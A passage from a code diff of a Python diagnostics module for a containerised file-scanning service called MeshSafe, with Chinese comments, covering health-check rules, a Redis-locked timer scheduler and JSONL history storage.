hint="检查 rules_dir 配置是否正确",
run_by=run_by,
)
latest_mtime = max(
os.path.getmtime(os.path.join(rules_dir, f)) for f in yamls
)
latest_date = datetime.fromtimestamp(latest_mtime).date()
days_old = (datetime.now().date() - latest_date).days
# 对比策略版本发布时间(如果策略文件比规则新,说明规则可能没更新)
policy_file = settings.policy_file
policy_mtime = None
if os.path.isfile(policy_file):
policy_mtime = os.path.getmtime(policy_file)
evidence = [f"规则目录: {rules_dir}", f"规则文件数: {len(yamls)}",
f"最新规则 mtime: {latest_date}"]
if policy_mtime and policy_mtime > latest_mtime:
evidence.append(f"策略文件比规则新(策略: {datetime.fromtimestamp(policy_mtime).date()})")
return _warn(
"R003",
"策略文件比 YARA 规则新,规则可能未随策略版本更新",
hint="同步更新规则文件或确认规则已加载",
evidence=evidence,
run_by=run_by,
)
return _ok(
"R003",
f"YARA 规则正常({len(yamls)} 条规则,最新 {latest_date},{days_old} 天)",
evidence=evidence,
run_by=run_by,
)
check_r003_yara_mtime._rule_id = "R003"
# ======================================================================
# R004: 引擎健康
# ======================================================================
def check_r004_engine_health(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
try:
health = engine.scanner.health()
except Exception as e: # noqa: BLE001
return _crit("R004", f"引擎健康检查异常: {e}", run_by=run_by)
offline: List[str] = []
for name, info in health.items():
ok = info.get("ok", info.get("available", False))
if not ok:
offline.append(name)
if offline:
return _crit(
"R004",
f"以下引擎不可用: {', '.join(offline)}",
hint="检查对应容器状态和网络连通",
evidence=[f"{n}: {health.get(n, {})}" for n in offline],
run_by=run_by,
)
names = list(health.keys())
return _ok(
"R004",
f"所有 {len(names)} 个引擎正常在线",
run_by=run_by,
)
check_r004_engine_health._rule_id = "R004"
# ======================================================================
# R005: 24h 无扫描
# ======================================================================
def check_r005_no_scans(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
count = _count_24h(engine)
if count == 0:
return _warn(
"R005", "过去 24 小时内没有扫描记录",
hint="摆渡系统可能停了;如果是正常停工可以忽略",
run_by=run_by,
)
return _ok(
"R005", f"过去 24 小时 {count} 次扫描",
run_by=run_by,
)
check_r005_no_scans._rule_id = "R005"
# ======================================================================
# R006: suspicious > malicious
# ======================================================================
def check_r006_suspicious_over_malicious(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
cfg = get_diag_config()
if not cfg.suspicious_exceeds_malicious:
return _skip("R006", "规则已在配置中禁用", run_by=run_by)
counts = _fetch_recent_verdict_counts(engine, 200)
suspicious = counts.get("suspicious", 0)
malicious = counts.get("malicious", 0)
if suspicious > malicious and suspicious > 0:
return _warn(
"R006",
f"可疑数({suspicious})超过恶意数({malicious})",
hint="suspicious 阈值配置可能过松;建议调紧让更多文件直接判为 malicious",
evidence=[f"近 200 次 verdict 分布: {counts}"],
run_by=run_by,
)
return _ok(
"R006",
f"suspicious={suspicious} vs malicious={malicious}",
run_by=run_by,
)
check_r006_suspicious_over_malicious._rule_id = "R006"
# ======================================================================
# R007: reject 比例
# ======================================================================
def check_r007_reject_ratio(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
cfg = get_diag_config()
counts = _fetch_recent_verdict_counts(engine, 200)
total = sum(counts.values())
if total == 0:
return _ok("R007", "暂无扫描记录", run_by=run_by)
reject = counts.get("reject", 0)
ratio = reject / total
threshold = cfg.reject_ratio_threshold
if ratio > threshold:
return _warn(
"R007",
f"策略拒绝比例偏高({ratio:.1%} > 阈值 {threshold:.0%})",
hint="检查拒绝原因 TOP;如果只是正常扩展名策略可以调宽",
evidence=[f"近 200 次 verdict 分布: {counts}"],
run_by=run_by,
)
return _ok(
"R007",
f"策略拒绝比例正常({ratio:.1%})",
run_by=run_by,
)
check_r007_reject_ratio._rule_id = "R007"
# ======================================================================
# R008: 同 SHA256 重复扫描
# ======================================================================
def check_r008_duplicate_sha(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
from app.models import ScanTask
cutoff = datetime.now(timezone.utc) - timedelta(hours=1)
rows = (
engine.db.query(ScanTask.sha256, func.count(ScanTask.id))
.filter(ScanTask.created_at >= cutoff)
.group_by(ScanTask.sha256)
.having(func.count(ScanTask.id) > 1)
.all()
)
if rows:
dups = [(sha[:12], c) for sha, c in rows]
return _crit(
"R008",
f"近 1 小时有 {len(rows)} 个 SHA256 被重复扫描",
hint="幂等机制可能失效;检查 idempotency_records 表写入",
evidence=[f"sha256={sha} count={c}" for sha, c in dups[:10]],
run_by=run_by,
)
return _ok("R008", "幂等机制正常(无重复 SHA256)", run_by=run_by)
check_r008_duplicate_sha._rule_id = "R008"
# ======================================================================
# 日志匹配型规则(需要 docker.sock)
# ======================================================================
def _check_docker_available(engine: DiagnosticEngine) -> Optional[RuleResult]:
"""如果 Docker 不可用,返回 skip RuleResult;否则返回 None(继续执行)。"""
if engine.docker_status == "none":
return _skip(None, "Docker 能力未启用", run_by="")
return None
def check_r009_clamav_crash(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
skip = _check_docker_available(engine)
if skip:
skip.id = "R009"
return skip
cfg = get_diag_config()
logs = _docker_logs("meshsafe-clamav", cfg.docker_log_tail)
patterns = ["Killed", "exit 137", "segfault", "oom-killed", "Out of memory"]
hits = _grep_patterns(logs, patterns)
# 同时检查 docker inspect 的 restart_count
info = _docker_inspect("meshsafe-clamav")
restart_count = info.get("restart_count", 0) if info else 0
if hits or restart_count > 3:
ev = hits[:5] if hits else []
if restart_count > 3:
ev.append(f"docker inspect restart_count={restart_count}")
return _crit(
"R009",
f"ClamAV 可能崩溃(restart_count={restart_count},日志命中 {len(hits)} 行)",
hint="OOM kill → 给 clamav 容器加内存限制 512m → 1g;\nsegfault → 检查 ClamAV 版本兼容性",
evidence=ev,
run_by=run_by,
)
return _ok(
"R009",
f"ClamAV 容器稳定(restart_count={restart_count},无崩溃日志)",
run_by=run_by,
)
check_r009_clamav_crash._rule_id = "R009"
def check_r010_postgres_fatal(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
skip = _check_docker_available(engine)
if skip:
skip.id = "R010"
return skip
cfg = get_diag_config()
logs = _docker_logs("meshsafe-postgres", cfg.docker_log_tail)
patterns = ["FATAL", "PANIC", "too many connections", "database is in recovery"]
hits = _grep_patterns(logs, patterns)
if hits:
return _crit(
"R010",
f"Postgres 出现严重错误(命中 {len(hits)} 行)",
hint="too many connections → 调大 max_connections;\nFATAL → 检查磁盘空间和 WAL",
evidence=hits[:8],
run_by=run_by,
)
return _ok("R010", "Postgres 日志无 FATAL/PANIC", run_by=run_by)
check_r010_postgres_fatal._rule_id = "R010"
def check_r011_redis_oom(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
skip = _check_docker_available(engine)
if skip:
skip.id = "R011"
return skip
cfg = get_diag_config()
logs = _docker_logs("meshsafe-redis", cfg.docker_log_tail)
# 注意:不能用 "LOADING" — Redis 正常启动也会打 "Loading RDB / Done loading"
# 只匹配真正有问题的:加载卡死循环、OOM、panic、assertion
patterns = [
"OOM command not allowed",
"out of memory",
"LOADING loop",
"still loading",
"LOADING state",
"panic",
"Assertion",
]
hits = _grep_patterns(logs, patterns)
if hits:
return _crit(
"R011",
f"Redis 可能 OOM 或 panic(命中 {len(hits)} 行)",
hint="OOM → 调大 maxmemory 或清缓存;\nLOADING 循环 → 检查 RDB/AOF 恢复",
evidence=hits[:5],
run_by=run_by,
)
return _ok("R011", "Redis 日志无 OOM/panic", run_by=run_by)
check_r011_redis_oom._rule_id = "R011"
def check_r012_no_space(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
skip = _check_docker_available(engine)
if skip:
skip.id = "R012"
return skip
cfg = get_diag_config()
all_patterns = ["No space left on device", "ENOSPC", "disk quota exceeded"]
containers = [
"meshsafe-api", "meshsafe-clamav", "meshsafe-postgres",
"meshsafe-redis", "meshsafe-nginx",
]
all_hits: List[str] = []
for c in containers:
logs = _docker_logs(c, cfg.docker_log_tail)
hits = _grep_patterns(logs, all_patterns, max_lines=5)
for h in hits:
all_hits.append(f"[{c}] {h}")
if len(all_hits) >= 10:
break
if all_hits:
return _crit(
"R012",
"容器日志出现磁盘空间不足(严重!)",
hint="立即清理磁盘,否则扫描会持续失败",
evidence=all_hits[:10],
run_by=run_by,
)
return _ok("R012", "所有容器日志无磁盘空间错误", run_by=run_by)
check_r012_no_space._rule_id = "R012"
def check_r013_nginx_upstream(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
skip = _check_docker_available(engine)
if skip:
skip.id = "R013"
return skip
cfg = get_diag_config()
logs = _docker_logs("meshsafe-nginx", cfg.docker_log_tail)
# 只匹配真正的 upstream 故障。
# 注意 nginx 正常日志里有 "upstream response is buffered to a temporary file",
# 那是响应太大被缓冲的正常行为,绝不能在这里误伤。
patterns = [
"Connection refused",
"upstream timed out",
"upstream prematurely closed",
"no live upstreams",
"connect() failed",
"502 Bad Gateway",
"upstream server temporarily disabled",
]
hits = _grep_patterns(logs, patterns)
if hits:
return _warn(
"R013",
f"Nginx upstream 异常(命中 {len(hits)} 行)",
hint="api 容器可能临时不可用;检查 api 健康状态",
evidence=hits[:5],
run_by=run_by,
)
return _ok("R013", "Nginx 无 upstream 异常", run_by=run_by)
check_r013_nginx_upstream._rule_id = "R013"
def check_r014_api_connection(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
skip = _check_docker_available(engine)
if skip:
skip.id = "R014"
return skip
cfg = get_diag_config()
logs = _docker_logs("meshsafe-api", cfg.docker_log_tail)
patterns = ["Redis connection refused", "Postgres connection refused",
"ConnectionError", "OperationalError", "can't connect"]
hits = _grep_patterns(logs, patterns)
if hits:
return _crit(
"R014",
f"API 与依赖服务连接异常(命中 {len(hits)} 行)",
hint="Redis/Postgres 网络断了?检查 docker 网络和依赖容器健康",
evidence=hits[:5],
run_by=run_by,
)
return _ok("R014", "API 与依赖连接正常", run_by=run_by)
check_r014_api_connection._rule_id = "R014"
# ======================================================================
# R015: 容器重启次数
# ======================================================================
def check_r015_container_restart(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
skip = _check_docker_available(engine)
if skip:
skip.id = "R015"
return skip
containers = [
"meshsafe-api", "meshsafe-clamav", "meshsafe-postgres",
"meshsafe-redis", "meshsafe-nginx",
]
now_ts = time.time()
bj = datetime.now(timezone(timedelta(hours=8)))
restart_events_now: List[str] = [] # 本轮检测到的新事件(写进 evidence)
new_restart_containers: List[str] = [] # 有新重启事件的容器名
for c in containers:
info = _docker_inspect(c)
if not info:
continue
cur_restart = info.get("restart_count", 0)
cur_started = info.get("started_at", "") or ""
old = _CONTAINER_LAST_STATE.get(c)
restart_changed = False
started_changed = False
if old is not None:
# 第一次跑没有 old,不算事件,只建缓存
restart_changed = cur_restart > old.get("restart_count", -1)
started_changed = cur_started != old.get("started_at", "")
if restart_changed or started_changed:
trigger = "restart_count_increased" if restart_changed else "started_at_changed"
uptime_before_s = 0
try:
uptime_before_s = int(now_ts - old.get("checked_at", now_ts))
except Exception:
uptime_before_s = 0
m, uptime_before_s = divmod(uptime_before_s, 60)
h, m = divmod(m, 60)
uptime_before_str = (
f"{h}h {m}m" if h > 0 else f"{m}m" if m > 0 else "刚启动"
)
event_line = (
f"{bj.strftime('%H:%M:%S')} {c} "
f"restart_count {old.get('restart_count','?')} → {cur_restart} "
f"uptime_before={uptime_before_str} "
f"trigger={trigger}"
)
restart_events_now.append(event_line)
new_restart_containers.append(c)
# 持久化重启事件
try:
from app.diagnostic.storage import (
append_restart_event, snapshot_on_restart,
)
append_restart_event(
container=c,
restart_before=old.get("restart_count", 0),
restart_after=cur_restart,
uptime_before=uptime_before_str,
uptime_before_seconds=now_ts - old.get("checked_at", now_ts),
trigger=trigger,
)
# 抓重启时的日志片段
try:
snapshot_on_restart(c, tail=300)
except Exception:
pass
except Exception:
pass
# 更新缓存为当前状态
_CONTAINER_LAST_STATE[c] = {
"restart_count": cur_restart,
"started_at": cur_started,
"checked_at": now_ts,
}
# ---------- 判定 severity ----------
# 1. 有新重启事件 → medium(哪怕 restart_count 还没超 3)
# 2. restart_count > 3 → crit
# 3. 否则 → ok
crit_list: List[str] = []
all_status: List[str] = []
for c in containers:
info = _docker_inspect(c)
if info:
r = info.get("restart_count", 0)
all_status.append(f"{c}: restart={r}")
if r > 3:
crit_list.append(f"{c} (restart_count={r})")
if crit_list:
# 严重:累积重启次数过多
combined_evidence = list(restart_events_now) + [f"⚠️ {x}" for x in crit_list]
return _crit(
"R015",
f"以下容器不稳定(restart_count > 3): {', '.join(crit_list)}",
hint="检查对应容器日志找 crash 根因(OOM/segmentation/配置错误)",
evidence=combined_evidence + all_status,
run_by=run_by,
)
if new_restart_containers:
# 中等:本轮检测到新重启事件(但累积次数还没超 3)
return _warn(
"R015",
f"本轮检测到容器重启事件: {', '.join(new_restart_containers)}",
hint="开发/运维可能执行了 docker restart,或容器健康检查触发了自动重启。"
"日志片段已自动归档到 diagnostics_logs/*-restart-*.log",
evidence=restart_events_now + all_status,
run_by=run_by,
)
return _ok(
"R015",
"所有容器稳定(restart_count 均 ≤ 3,本轮无新重启事件)",
evidence=all_status,
run_by=run_by,
)
check_r015_container_restart._rule_id = "R015"
# ======================================================================
# R016: 容器重启历史汇总(读持久化 restart_events.jsonl)
# ======================================================================
def check_r016_restart_history(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
"""读 restart_events.jsonl + compose_state,给出过去 N 天每个容器重启次数汇总。
和 R015 的区别:
R015 = 当前状态检测(restart_count 阈值 + 本轮变化)
R016 = 历史回顾(持久化事件日志聚合)
"""
skip = _check_docker_available(engine)
if skip:
skip.id = "R016"
return skip
cfg = get_diag_config()
# 1. 读持久化重启事件
events: List[Dict[str, Any]] = []
try:
from app.diagnostic.storage import load_restart_events
if cfg.storage_enabled:
events = load_restart_events(cfg.history_retention_days)
except Exception:
events = []
# 2. 按容器聚合
by_container: Dict[str, List[Dict[str, Any]]] = {}
for ev in events:
c = ev.get("container", "?")
by_container.setdefault(c, []).append(ev)
# 3. 取当前 restart_count(compose_state)
containers = [
"meshsafe-api", "meshsafe-clamav", "meshsafe-postgres",
"meshsafe-redis", "meshsafe-nginx",
]
current_counts: Dict[str, int] = {}
for c in containers:
info = _docker_inspect(c)
if info:
current_counts[c] = info.get("restart_count", 0)
# 4. 构建 evidence(每个容器一行汇总)
evidence: List[str] = []
total_events = 0
problem_containers: List[str] = []
for c in containers:
hist_count = len(by_container.get(c, []))
cur_count = current_counts.get(c, 0)
total_events += hist_count
line = f"{c}: 历史重启事件={hist_count} 当前restart_count={cur_count}"
if hist_count > 0:
last_ev = by_container[c][-1]
line += f" 最近事件={last_ev.get('ts')}"
evidence.append(line)
if hist_count >= 3:
problem_containers.append(f"{c}({hist_count}次)")
# 5. 判定
if total_events == 0:
return _ok(
"R016",
f"过去 {cfg.history_retention_days} 天内,无容器重启事件记录",
evidence=evidence,
run_by=run_by,
)
if problem_containers:
return _warn(
"R016",
f"过去 {cfg.history_retention_days} 天内,以下容器重启较频繁: "
f"{', '.join(problem_containers)}",
hint="开发/运维可能执行了多次 docker restart,"
"或容器健康检查/初始化阶段触发重启。"
"详见 restart_events.json 和 diagnostics_logs/*-restart-*.log",
evidence=evidence,
run_by=run_by,
)
# 有事件但不频繁
return _ok(
"R016",
f"过去 {cfg.history_retention_days} 天内共 {total_events} 次重启事件(均不频繁)",
evidence=evidence,
run_by=run_by,
)
check_r016_restart_history._rule_id = "R016"

268
app/diagnostic/scheduler.py Normal file
View File

@@ -0,0 +1,268 @@
"""三层定时器循环。
在 FastAPI startup 事件中用 asyncio.create_task() 启动。
定时器在后台跑,每次迭代独立 try/except + timeout,不会卡死主 event loop。
"""
from __future__ import annotations
import asyncio
import functools
import logging
import os
import subprocess
import time
from datetime import datetime, timezone
from typing import Any, Dict, List, Optional
from app.config import get_settings
from app.db import SessionLocal
from app.diagnostic.config import DiagConfig, get_diag_config
from app.diagnostic.engine import DiagnosticEngine, RuleResult
from app.services.scanner import Scanner
logger = logging.getLogger(__name__)
# 诊断套件全局运行时状态(单例 dict)
_DIAG_STATE: Dict[str, Any] = {
"enabled": False,
"docker_status": "none",
"docker_info": {},
"started_at": None,
"rules_cache": {}, # {rule_id: {result, ts, run_by}}
"latest": {"rules": [], "generated_at": None, "docker_status": "none"},
}
# 后台引用(防止 GC 收走)
_TIMER_TASKS: List[asyncio.Task] = []
# ======================================================================
# 外部访问入口
# ======================================================================
def get_diag_state() -> Dict[str, Any]:
"""获取诊断套件运行时状态(给页面/API 查询用)。"""
cache = {k: {"result": v["result"].to_dict() if isinstance(v.get("result"), RuleResult) else v.get("result"),
"ts": v.get("ts"), "run_by": v.get("run_by")}
for k, v in _DIAG_STATE["rules_cache"].items()}
return {
"enabled": _DIAG_STATE["enabled"],
"docker_status": _DIAG_STATE["docker_status"],
"docker_info": _DIAG_STATE["docker_info"],
"started_at": _DIAG_STATE["started_at"],
"rules_cache": cache,
"latest": _DIAG_STATE["latest"],
}
# ======================================================================
# 后台入口(在 app.main.startup 中调用)
# ======================================================================
def start_timers(docker_status: str, docker_info: Dict[str, Any]) -> None:
"""启动三个定时器循环(后台 daemon task)。"""
cfg = get_diag_config()
_DIAG_STATE["enabled"] = cfg.enabled
_DIAG_STATE["docker_status"] = docker_status
_DIAG_STATE["docker_info"] = docker_info
_DIAG_STATE["started_at"] = datetime.now(timezone.utc).isoformat()
if not cfg.enabled:
logger.info("MeshSafe Diagnostics: disabled")
return
loop = asyncio.get_event_loop()
if cfg.error_scan_interval > 0:
_TIMER_TASKS.append(loop.create_task(
_timer_loop("error_scan", cfg.error_scan_interval,
lambda eng: eng.run_timer_error_scan(),
docker_status, cfg.docker_log_tail),
name="diag-error-scan",
))
logger.info("诊断定时器启动: error_scan (%ss)", cfg.error_scan_interval)
if cfg.db_aggregate_interval > 0:
_TIMER_TASKS.append(loop.create_task(
_timer_loop("db_aggregate", cfg.db_aggregate_interval,
lambda eng: eng.run_timer_db_aggregate(),
docker_status, cfg.docker_log_tail),
name="diag-db-aggregate",
))
logger.info("诊断定时器启动: db_aggregate (%ss)", cfg.db_aggregate_interval)
if cfg.container_check_interval > 0:
_TIMER_TASKS.append(loop.create_task(
_timer_loop("container_check", cfg.container_check_interval,
lambda eng: eng.run_timer_container(),
docker_status, cfg.docker_log_tail),
name="diag-container-check",
))
logger.info("诊断定时器启动: container_check (%ss)", cfg.container_check_interval)
# ======================================================================
# 定时器循环(async)
# ======================================================================
async def _timer_loop(
name: str,
interval: int,
runner_fn, # 接受 DiagnosticEngine 返回 List[RuleResult]
docker_status: str,
docker_log_tail: int,
) -> None:
"""通用定时器循环。每次迭代独立 try/except + 超时保护。"""
# 等一个 interval 再开始第一次(避免 startup 时 DB 还没 ready)
await asyncio.sleep(min(interval, 15))
while True:
try:
# 分布式锁(时间槽位):多 worker 部署时,每个时间槽只有
# 一个 worker 能拿到锁并执行,保证执行频率精确等于 interval。
if not _acquire_timer_lock(name, interval):
logger.debug("诊断定时器 %s 本轮跳过(其他 worker 持锁)", name)
await asyncio.sleep(interval)
continue
results = await asyncio.wait_for(
asyncio.get_event_loop().run_in_executor(
None,
lambda: _run_sync(name, runner_fn, docker_status, docker_log_tail),
),
timeout=30.0,
)
_cache_results(name, results, docker_status)
logger.debug("诊断定时器 %s 跑完: %d 条规则", name, len(results))
except asyncio.CancelledError:
logger.info("诊断定时器 %s 被取消", name)
break
except asyncio.TimeoutError:
logger.warning("诊断定时器 %s 超时(30s),本轮跳过", name)
except Exception as e: # noqa: BLE001
logger.exception("诊断定时器 %s 异常: %s,%ss 后重试", name, e, interval)
await asyncio.sleep(interval)
# ======================================================================
# 定时器分布式锁(Redis)
#
# 多 worker 部署(UVICORN_WORKERS > 1)时,每个 worker 都会启动定时器,
# 导致:同一轮规则被跑 N 次、历史数据量 ×N、并发写 JSONL 造成文件损坏。
# 用 Redis SET NX 抢锁,保证同一时刻只有一个 worker 在跑。
# ======================================================================
_TIMER_LOCK_PREFIX = "meshsafe:diag:timer_lock:"
@functools.lru_cache(maxsize=1)
def _lock_redis():
"""定时器锁专用 Redis 客户端(进程内复用,避免每次调用重建连接)。"""
import redis # type: ignore
from app.config import get_settings
return redis.from_url(
get_settings().redis_url, decode_responses=True, socket_timeout=3
)
def _acquire_timer_lock(timer_name: str, interval: int) -> bool:
"""尝试获取定时器锁(时间槽位设计)。
key 里带上当前时间槽位号:``meshsafe:diag:timer_lock:<timer>:<slot>``,
slot = 当前时间 // interval。这样无论多少 worker、谁先谁后,
同一个槽位内最多只有一个 worker 能拿到锁并执行,
下一个槽位自然放行 —— 执行频率精确等于 interval,不多不少。
Redis 不可用时返回 True(降级为单 worker 行为,不阻塞主流程)。
"""
try:
client = _lock_redis()
slot = int(time.time() // interval)
key = f"{_TIMER_LOCK_PREFIX}{timer_name}:{slot}"
# EX 只做兜底(槽位 key 不会互相干扰),设 2 倍 interval 足够
return bool(client.set(key, "1", nx=True, ex=interval * 2))
except Exception as e: # noqa: BLE001
# Redis 不可用 → 不加锁(单机单 worker 场景行为不变)
logger.debug("定时器锁获取失败,降级为无锁执行: %s", e)
return True
def _run_sync(
name: str,
runner_fn,
docker_status: str,
docker_log_tail: int,
) -> List[RuleResult]:
"""在线程池里同步跑规则(避免阻塞 event loop)。"""
db = SessionLocal()
try:
# 延迟 import 避免循环依赖
from app.main import scanner, policy_store
eng = DiagnosticEngine(
db=db, scanner=scanner, policy_store=policy_store,
docker_status=docker_status, docker_log_tail=docker_log_tail,
)
results = runner_fn(eng)
return results
finally:
db.close()
def _cache_results(
timer_name: str,
results: List[RuleResult],
docker_status: str,
) -> None:
"""把本轮规则结果写入内存缓存(dict)+ 持久化存储。"""
now = time.time()
for r in results:
_DIAG_STATE["rules_cache"][r.id] = {
"result": r,
"ts": now,
"run_by": r.run_by or f"timer:{timer_name}",
}
# 构建 latest 快照(合并所有缓存 + 本轮结果)
all_results = []
seen = set()
for rid, entry in _DIAG_STATE["rules_cache"].items():
if rid not in seen and entry.get("result"):
all_results.append(entry["result"])
seen.add(rid)
_DIAG_STATE["latest"] = {
"rules": sorted(all_results, key=lambda x: x.id),
"generated_at": now,
"docker_status": docker_status,
}
# ---------- 持久化 ----------
try:
from app.diagnostic.config import get_diag_config
from app.diagnostic.storage import append_rule_results
cfg = get_diag_config()
if cfg.storage_enabled:
append_rule_results(results, timer_name)
# 可选:定时器也存 docker 日志快照(省磁盘所以用较小 tail)
if cfg.log_snapshot_on_timer and docker_status != "none":
from app.diagnostic.storage import snapshot_container_logs
containers = [
"meshsafe-api", "meshsafe-clamav", "meshsafe-postgres",
"meshsafe-redis", "meshsafe-nginx",
]
# 不要每次都存 — 只在 container_check(5 分钟周期)里存一次
if timer_name == "container_check":
snapshot_container_logs(
containers, cfg.log_snapshot_tail,
filename_prefix="timer",
)
except Exception as e: # noqa: BLE001
logger.debug("诊断持久化跳过(非致命): %s", e)

455
app/diagnostic/storage.py Normal file
View File

@@ -0,0 +1,455 @@
"""诊断套件持久化存储模块。
职责:
- 定时器规则结果 → JSON Lines 追加(rules_history.jsonl)
- Docker 日志快照 → 存文件(logs/*.log)
- 自动清理过期数据(基于配置的 history_retention_days)
"""
from __future__ import annotations
import json
import logging
import os
import time
from datetime import datetime, timedelta, timezone
from pathlib import Path
from typing import Any, Dict, List, Optional
from app.diagnostic.config import get_diag_config
logger = logging.getLogger(__name__)
def _storage_dir() -> Path:
"""获取存储根目录。"""
cfg = get_diag_config()
p = Path(cfg.storage_dir)
p.mkdir(parents=True, exist_ok=True)
return p
def _logs_dir() -> Path:
p = _storage_dir() / "logs"
p.mkdir(parents=True, exist_ok=True)
return p
def _rules_history_file() -> Path:
return _storage_dir() / "rules_history.jsonl"
# ======================================================================
# 跨进程文件锁写入
#
# 多 worker 部署时,每个 worker 都会跑诊断定时器。"a" 追加模式在多进程
# 下不安全——各进程独立维护文件偏移量,后写的会覆盖先写的内容,把一行
# JSON 从中间劈开,产出非法 UTF-8 字节,导致后续读取全部报错。
# 这里用 fcntl 文件锁保证同一时刻只有一个进程在写。
# ======================================================================
try:
import fcntl # type: ignore
_HAS_FCNTL = True
except ImportError: # pragma: no cover - Windows 平台
fcntl = None # type: ignore
_HAS_FCNTL = False
def _append_line_locked(path: Path, line: str) -> None:
"""向文件追加一行,跨进程互斥。
Linux 下用 fcntl.flock 排他锁;无 fcntl 时退化为进程内线程锁。
"""
payload = line + "\n"
with open(path, "a", encoding="utf-8") as fp:
if _HAS_FCNTL:
fcntl.flock(fp.fileno(), fcntl.LOCK_EX)
try:
fp.seek(0, os.SEEK_END)
fp.write(payload)
fp.flush()
os.fsync(fp.fileno())
finally:
if _HAS_FCNTL:
fcntl.flock(fp.fileno(), fcntl.LOCK_UN)
def _rewrite_file_locked(path: Path, lines: List[str]) -> None:
"""整文件重写(清理过期数据用),同样走文件锁。
写临时文件再原子替换,避免重写过程中其他进程读到半截内容。
"""
tmp = path.with_suffix(path.suffix + ".tmp")
with open(tmp, "w", encoding="utf-8") as fp:
if _HAS_FCNTL:
fcntl.flock(fp.fileno(), fcntl.LOCK_EX)
try:
for line in lines:
fp.write(line + "\n")
fp.flush()
os.fsync(fp.fileno())
finally:
if _HAS_FCNTL:
fcntl.flock(fp.fileno(), fcntl.LOCK_UN)
os.replace(tmp, path)
# ======================================================================
# 规则历史:JSON Lines 追加
# ======================================================================
def append_rule_results(
rules: List[Any],
timer_name: str,
) -> None:
"""定时器每次跑完追加一行 JSONL。
每行格式::
{"ts": "2026-10-28T13:12:14", "timer": "error_scan",
"docker_status": "full",
"rules": [{"id":"R001","severity":"ok","message":"...","run_at":"...","run_by":"timer:error_scan",...}]}
"""
cfg = get_diag_config()
if not cfg.storage_enabled:
return
try:
# 北京时间
bj = timezone(timedelta(hours=8))
entry: Dict[str, Any] = {
"ts": datetime.now(bj).strftime("%Y-%m-%d %H:%M:%S"),
"timer": timer_name,
"docker_status": None,
"rules": [
r.to_dict() if hasattr(r, "to_dict") else dict(r)
for r in rules
],
}
f = _rules_history_file()
_append_line_locked(f, json.dumps(entry, ensure_ascii=False))
# 顺带清理过期
_trim_history()
except Exception as e: # noqa: BLE001
logger.warning("诊断持久化写入失败: %s", e)
def load_rule_history(days: Optional[int] = None) -> List[Dict[str, Any]]:
"""读取规则历史 JSONL,返回最近 N 天的行。"""
cfg = get_diag_config()
if not cfg.storage_enabled:
return []
days = days or cfg.history_retention_days
f = _rules_history_file()
if not f.exists():
return []
cutoff = datetime.now() - timedelta(days=days)
results: List[Dict[str, Any]] = []
try:
with open(f, "r", encoding="utf-8", errors="replace") as fp:
for line in fp:
line = line.strip()
if not line:
continue
try:
obj = json.loads(line)
except json.JSONDecodeError:
continue
# 按 ts 判断是否过期
ts_str = obj.get("ts", "")
try:
ts_dt = datetime.strptime(ts_str, "%Y-%m-%d %H:%M:%S")
if ts_dt >= cutoff:
results.append(obj)
except ValueError:
# 时间格式不对就不过滤,保留
results.append(obj)
except Exception as e: # noqa: BLE001
logger.warning("诊断历史读取失败: %s", e)
return results
def _trim_history() -> None:
"""清理过期的规则历史行(保留文件头)。"""
cfg = get_diag_config()
days = cfg.history_retention_days
f = _rules_history_file()
if not f.exists():
return
cutoff = datetime.now() - timedelta(days=days)
kept: List[str] = []
try:
with open(f, "r", encoding="utf-8", errors="replace") as fp:
total = 0
for line in fp:
total += 1
line = line.strip()
if not line:
continue
try:
obj = json.loads(line)
ts_str = obj.get("ts", "")
ts_dt = datetime.strptime(ts_str, "%Y-%m-%d %H:%M:%S")
if ts_dt >= cutoff:
kept.append(line)
except Exception:
kept.append(line) # 格式异常的保留
# 如果删了一些(不是全部),就重写
if kept and len(kept) < total:
_rewrite_file_locked(f, kept)
except Exception as e: # noqa: BLE001
logger.warning("诊断历史清理失败: %s", e)
# ======================================================================
# Docker 日志快照
# ======================================================================
def snapshot_container_logs(
containers: List[str],
tail: int,
filename_prefix: Optional[str] = None,
) -> List[Path]:
"""把各容器当前 docker logs --tail N 存一份文件。
文件名: {container}-{prefix}{timestamp}.log
prefix 可选(如 timer 存的加前缀 timer-)
返回写入的文件列表。
"""
cfg = get_diag_config()
if not cfg.storage_enabled:
return []
from app.diagnostic.docker_probe import get_client
client = get_client()
if client is None:
return []
ts = datetime.now().strftime("%Y%m%d-%H%M%S")
prefix = f"{filename_prefix}-" if filename_prefix else ""
out: List[Path] = []
for name in containers:
try:
c = client.containers.get(name)
raw = c.logs(tail=tail)
text = (
raw.decode("utf-8", errors="replace")
if isinstance(raw, (bytes, bytearray))
else str(raw)
)
fname = f"{name}-{prefix}{ts}.log"
fpath = _logs_dir() / fname
fpath.write_text(text, encoding="utf-8")
out.append(fpath)
except Exception as e: # noqa: BLE001
logger.warning("容器 %s 日志快照失败: %s", name, e)
# 顺带清理过期日志
_trim_logs()
return out
def load_log_snapshots(containers: Optional[List[str]] = None) -> Dict[str, List[Path]]:
"""读 logs/ 目录,返回 {container_name: [path, path, ...]}。"""
cfg = get_diag_config()
if not cfg.storage_enabled:
return {}
cutoff = datetime.now() - timedelta(days=cfg.history_retention_days)
result: Dict[str, List[Path]] = {}
for f in _logs_dir().glob("*.log"):
stem = f.stem # 去掉 .log
# 文件名格式: meshsafe-api-timer-20261028-1312 或 meshsafe-api-20261028-1312
# 容器名是 stem 里第一个 - 前面的部分... 其实容器名本身也可能带 -
# 简化:直接用 stem 整体当 key(导出时按需匹配)
# 但我们需要按容器分组,所以用 glob 前缀匹配
if containers:
matched = None
for c in containers:
if stem.startswith(c + "-"):
matched = c
break
if matched is None:
continue
container_key = matched
else:
# 没指定容器,尝试从文件名推断
parts = stem.split("-")
container_key = parts[0] if parts else stem
try:
mtime = datetime.fromtimestamp(f.stat().st_mtime)
if mtime >= cutoff:
result.setdefault(container_key, []).append(f)
except Exception:
